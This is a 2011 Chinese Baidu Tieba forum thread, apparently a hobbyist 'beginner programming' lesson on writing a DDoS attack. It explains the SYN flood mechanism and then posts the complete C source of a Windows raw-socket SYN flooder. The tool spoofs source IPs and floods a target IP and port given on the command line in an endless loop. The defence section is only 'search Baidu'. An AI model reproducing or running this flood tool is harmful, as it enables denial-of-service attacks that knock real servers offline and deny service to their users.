网页
资讯
视频
图片
知道
文库
贴吧
地图
采购
进入贴吧
全吧搜索
吧内搜索
搜贴
搜人
进吧
搜标签
日
一
二
三
四
五
六
签到排名:今日本吧第
个签到,
本吧因你更精彩,明天继续来努力!
本吧签到人数:0
一键签到
可签
7
级以上的吧
50
个
一键签到
本月漏签
0
次!
0
成为超级会员,赠送8张补签卡
如何使用?
点击日历上漏签日期,即可进行
补签
。
连续签到:
天 累计签到:
天
0
超级会员单次开通12个月以上,赠送连续签到卡3张
使用连续签到卡
01月20日
漏签
0
天
null__吧
关注:
220
贴子:
4,305
看贴
图片
吧主推荐
游戏
14
回复贴,共
1
页
<返回null__吧
>0< 加载中...
菜鸟编程5之ddos攻击的编写
只看楼主
收藏
回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
擦,测试的时候卡死了。。。。
送TA礼物
1楼
2011-04-13 21:02
回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
度娘保佑!!!我爱度娘!!!保佑我发帖成功!!!度娘我爱你!!!!!
2楼
2011-04-13 21:02
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
1 原理:SYN(Synchronize sequence numbers) Flood是当前最流行的DoS(拒绝服务攻击)方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)或阻止正常用户访问主机服务的攻击方式。在SYN Flood攻击中,攻击者使用大量伪装的IP地址向目标计算机发送网络连接请求,以占用目标计算机尽量多的资源,从而使正常用户不能够连接到服务器,导致服务器拒绝服务。
2 tcp连接建立的3次握手:
第一步:客户端发送一个包含SYN标志的TCP报文,向服务器某一端口表示需要连接,比如发送包假设请求序号为10,那么则为:SYN=10,ACK=0,然后等待服务器的响应。
第2步:服务器接收到这样的请求后,查看该端口是否处在LISTEN的状态,如果不是,就发送RST=1应答,拒绝建立连接。如果该端口处在LISTEN状态,那么服务器发送报文确认,ACK位则是客户端的请求序号加1,变成:SYN=10,ACK=1,用这样的数据发送给客户端。向客户端表示,服务器连接已经准备好了,等待客户端的确认。这时客户端接收到消息后,分析得到的信息,准备发送确认连接信号到服务器。
第三部:客户端发送确认建立连接的消息给服务器。确认信息的SYN位是服务器发送的ACK位,ACK位是服务器发送的SYN位加1。即:SYN=1,ACK=11。 这时,连接已经建立起来了。
3 邪恶的诞生
当目标计算机收到请求后,就会使用一些系统资源来为新的连接提供服务。接着回复SYN-ACK。但假如一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法再收到客户端的ACK报文的(第三次握手无法完成)。一些系统都有缺省的回复次数和超时时间,这种情况下服务器端一般会重新发送SYN+ACK给客户端,只有达到一定次数或者超时,占用的系统资源才会被释放。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟)Windows中缺省设置为可重复发送SYN-ACK答复5次。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的程序量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应了。
4 关于dos的防御
请百度。
3楼
2011-04-13 21:02
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
synflood.cpp:
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define FAKE_IP "201.79.131.18" //构造虚假ip
#define SEQ 0x28376839 ////自定义数据包的序列号
USHORT checksum(USHORT *buffer, int size);
int flood(); //checksum和flood的申明
//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr结构来存放ip首部
typedef struct iphdr
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址
unsigned int destIP;//攻击的ip地址
}IP_HEADER;
//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
struct
{
unsigned long saddr;//源地址
unsigned long daddr;//目的地址
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
WSADATA wsaData;
SOCKET sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
4楼
2011-04-13 21:03
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
//主函数
int main(int argc,char* argv[])
{
int portNum=0;
DWORD dw;
HANDLE hThread=NULL;
char putInfo;
if(argc!=3)//传入参数不为3个
{
printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){//使用2.2版本的winsock库
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
}
sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);//创建socket
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
//设置IP_HDRINCL以便自己填充IP首部
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
//设置发送超时
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 5;
}
portNum=atoi(argv[2]);//攻击目标的端口
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
5楼
2011-04-13 21:03
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]);
//填充TCP首部
tcpheader.th_dport=htons(portNum);
tcpheader.th_sport = htons(portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);//设置该线程为最高优先级
ResumeThread(hThread);//启动suspended的线程函数flood
printf("Warning[start]...........\nPress any key to stop!\n");
putInfo=getchar();//等待用户输入字符,结束线程
TerminateThread(hThread,0);
WSACleanup();
printf("\nStopd...........\n");
return 0;
}
int flood()
{
while(1)//无限循环
{
if(SendSEQ++==65536) SendSEQ=1;//等价于SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR)//发送失败,则退出线程
{
printf("\nsendto error:%d\n",WSAGetLastError());
ExitThread(1);
}
// Sleep(1000);
}
return 0;
}
6楼
2011-04-13 21:03
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
测试图片:
win2000中:
winxp:
7楼
2011-04-13 21:04
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
======================完
8楼
2011-04-13 21:04
回复
收起回复
缥缈过客大爷
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
路过酱油~.~
IP属地:河南
9楼
2011-04-14 12:17
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
回复:9楼
难怪你叫缥酱酱。。。。缥缈+打酱油的。
10楼
2011-04-14 16:34
回复
收起回复
缥缈过客大爷
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
回复:10楼
嘿嘿,被你发现了- -
IP属地:河南
11楼
2011-04-14 19:11
回复
收起回复
null__
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
回复:11楼
12楼
2011-04-14 22:24
回复
收起回复
菲律宾烤乳猪
青菜
1
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
运行之后是这样,求楼主解答
IP属地:安徽
来自
iPhone客户端
13楼
2016-10-25 00:09
回复
收起回复
忢会
梨
8
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
IP属地:河北
来自
Android客户端
14楼
2016-11-24 14:23
回复
收起回复
企俄812五53323
青菜
1
该楼层疑似违规已被系统折叠
隐藏此楼
查看此楼
这种没啥用的
15楼
2021-05-18 15:31
回复
收起回复
登录百度账号
扫二维码下载贴吧客户端
下载贴吧APP
看高清直播、视频!
贴吧热议榜
1
TikTok难民真来贴吧了
2974920
2
iG全神班惨负NIP
2788321
3
跟老美对账还是走到彩礼这步
2158744
4
跪下!Doinb赛后采访爆了
1716714
5
原来世界上还有人卖血维生
1251874
6
你打算看哪部春节档电影
1078975
7
蛟龙行动宣发有点尬
928440
8
肖战粉丝重金力挺射雕
848677
9
TikTok在美国停止服务
611292
10
Doinb复出首秀碾压Rookie
590982
贴吧页面意见反馈
违规贴吧举报反馈通道
贴吧违规信息处理公示